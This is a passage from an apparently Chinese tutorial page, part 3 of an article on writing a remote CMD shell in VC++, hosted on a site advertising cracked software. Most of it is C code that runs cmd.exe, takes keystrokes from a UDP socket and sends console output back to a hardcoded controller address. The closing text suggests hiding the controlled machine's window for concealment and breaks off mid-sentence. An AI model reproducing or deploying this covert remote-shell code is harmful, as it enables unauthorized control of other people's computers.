免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > 远程同步CMD SHELL 程序的实现(vc)(3)

远程同步CMD SHELL 程序的实现(vc)(3)

时间:2012-04-28 19:16来源:未知 整理:寂涯网络 点击:


台窗口显示出来。
SetConsoleCtrlHandler( HandlerRoutine,TRUE );        // 设置控制台钩子。第一个参数 是函数指针,就是上面的那个函数。第二个参数是标志,如果为 TRUE 那么就安装钩子, 如果为 FALSE 那么删除钩子
 
safe_attrib.nLength = sizeof(SECURITY_ATTRIBUTES); safe_attrib.lpSecurityDescriptor = NULL; safe_attrib.bInheritHandle = TRUE;
hConsoleOutput = CreateConsoleScreenBuffer( GENERIC_READ|GENERIC_WRITE,             //
为控制台创建额外的屏幕缓冲区
FILE_SHARE_READ|FILE_SHARE_WRITE,
&safe_attrib, CONSOLE_TEXTMODE_BUFFER,
NULL);
......
SetConsoleScreenBufferSize( hConsoleOutput , dwSize ); SetConsoleActiveScreenBuffer( hConsoleOutput ); //设置为当前控制台的缓冲区
//创建一个 cmd.exe 进程,输出指向了当前控制台的屏幕缓冲区
lpStartupInfo.cb = sizeof(STARTUPINFO);
lpStartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
lpStartupInfo.wShowWindow = SW_SHOW; lpStartupInfo.hStdError = hConsoleOutput; lpStartupInfo.hStdOutput = hConsoleOutput; lpStartupInfo.hStdInput = GetStdHandle( STD_INPUT_HANDLE ); while (TRUE)
{
if(!CreateProcess(0,"C:\\WINDOWS\\system32\\cmd.exe", 0 ,0 , 0 , 0 , 0 , 0 ,
&lpStartupInfo , &lpProcessInformation ) )        //创建的  CMD 输出到指定的控制台
屏幕缓冲区
{
MessageBox( 0,"create process failed",NULL,MB_OK ); CloseHandle( MutexClient );
CloseHandle( hConsoleOutput );
closesocket( hsocket ); WSACleanup();
return 0;
}
while (RecvKeyInfo())     //接收发送端数据,发送屏幕缓冲区数据
{
if( WAIT_TIMEOUT != WaitForSingleObject
( lpProcessInformation.hProcess , 100 ) )
{
break;
}
}
TerminateProcess( lpProcessInformation.hProcess ,0 ); CloseHandle( lpProcessInformation.hProcess );
CloseHandle( lpProcessInformation.hThread );
}
return 0;
}
BOOL RecvKeyInfo()
{
DWORD NumberOfCharsRead; struct sockaddr fromSockaddr; COORD dwReadCoord;
KEY_INFO buffer;

CONSOLE_BUFFER sendBuffer;
int fromlen = sizeof(fromSockaddr);
//从 socket 接收数据存入 buffer
if(0 <= recvfrom( hsocket, (PCHAR)(&buffer) , sizeof(KEY_INFO) , 0 ,
&fromSockaddr, &fromlen ) )
{
switch( buffer.packhead.packType )
{
case KEY_NO_CTRL:
WriteConsoleInput( GetStdHandle(STD_INPUT_HANDLE) ,&buffer.Key , 1 ,
&NumberOfCharsRead );      //将 buffer 数据写入控制台输入缓存    //GetStdHandle 获
取当前的标准输入(STDIN)和标准输出(STDOUT)设备句柄
break;
case KEY_CTRL_C:
GenerateConsoleCtrlEvent(         CTRL_C_EVENT        ,      NULL       );
//GenerateConsoleCtrlEvent 函数可以产生 CTRL_C_EVENT 和 CTRL_BREAK_EVENT 事件
break;
case KEY_CTRL_BRAK:
GenerateConsoleCtrlEvent( CTRL_BREAK_EVENT , NULL);
break;
default:
if( ( GetTickCount() - cout) > 1000 )
{
return TRUE;
}else{
cout = GetTickCount();
}
break;
}
} GetLastError(); dwReadCoord.X = 0; dwReadCoord.Y = 0;
memset(&sendBuffer.Character , 0x20202020 , 8000);
sendBuffer.wCodePageID = GetConsoleOutputCP();          //控制台的输出代码页
ReadConsoleOutputAttribute( hConsoleOutput ,(WORD *)&sendBuffer.Attribute ,
8000 , dwReadCoord , &NumberOfCharsRead);
ReadConsoleOutputCharacter( hConsoleOutput , (PCHAR)&sendBuffer.Character ,
8000 , dwReadCoord , &NumberOfCharsRead);        //获得控制台的输出数据,以便接下
来发送
GetConsoleScreenBufferInfo ( hConsoleOutput , &sendBuffer.csb); SendSreenBuffer( KEY_SREEN , &sendBuffer , sizeof(CONSOLE_BUFFER));
//向 192.168.123.119 发送控制台输出数据
return TRUE;
}
 
以上是程序的代码实现,测试效果如图一所示。当远程被控端通过 UDP 协议连接上后,
就可以通过本地的控制端来远程运行各种 CMD 命令了,其结果也会实时地显示在本地控制端
的控制台上。为了隐蔽,我们可以将远程被控端的控制台窗口隐藏起来,只需将代码中的两

本页地址 http://www.jybase.net/xitonganquan/20120428876.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com